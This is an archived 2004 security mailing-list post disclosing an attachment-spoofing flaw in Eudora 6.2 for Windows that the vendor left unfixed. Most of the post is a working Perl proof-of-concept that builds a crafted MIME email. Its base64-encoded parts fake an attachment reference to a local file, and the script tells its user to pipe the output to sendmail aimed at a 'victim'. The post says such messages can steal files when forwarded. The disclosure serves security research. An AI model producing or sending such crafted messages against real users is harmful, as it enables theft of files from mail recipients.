[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <200411131823.iADINSx250870@milan.maths.usyd.edu.au>
Date: Sun, 14 Nov 2004 05:23:28 +1100 (EST)
From: psz@...hs.usyd.edu.au (Paul Szabo)
To: NTBugtraq@...tserv.ntbugtraq.com, beckley@...lcomm.com,
bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com,
sdorner@...lcomm.com
Subject: Eudora 6.2 attachment spoof
Eudora 6.2 (==6.2.0.14) for Windows was released on 8 Nov 04. The release
notes
http://www.eudora.com/download/eudora/windows/6.2/RelNotes.txt
say:
> SECURITY
> --------
> Fixed cases where attachments could be spoofed via base64 or quoted-printable
> encoded (plain-text, inline) MIME parts.
Some cases remain un-fixed, as Eudora developers know and admit privately.
One such example below.
Cheers,
Paul Szabo - psz@...hs.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
#!/usr/bin/perl --
use MIME::Base64;
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.2 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to). Get a warning when stealing arbitrary
files, but no warning when stealing 'attach\\existing' attachments.\n";
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b1.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b1.txt\"\n\n";
$z = "Within base64 encoded, use missing linebreak. Part 1 ...\r
AttachmenXX";
print encode_base64($z);
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b2.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b2.txt\"\n\n";
$z = "t Converted: \"c:\\winnt\\system32\\calc.exe\"\r
... part 2\r
BTW, the above shows a parsing bug: missing two characters.\r
\r\n";
print encode_base64($z);
print "\n--zzz--\n";
Powered by blists - more mailing lists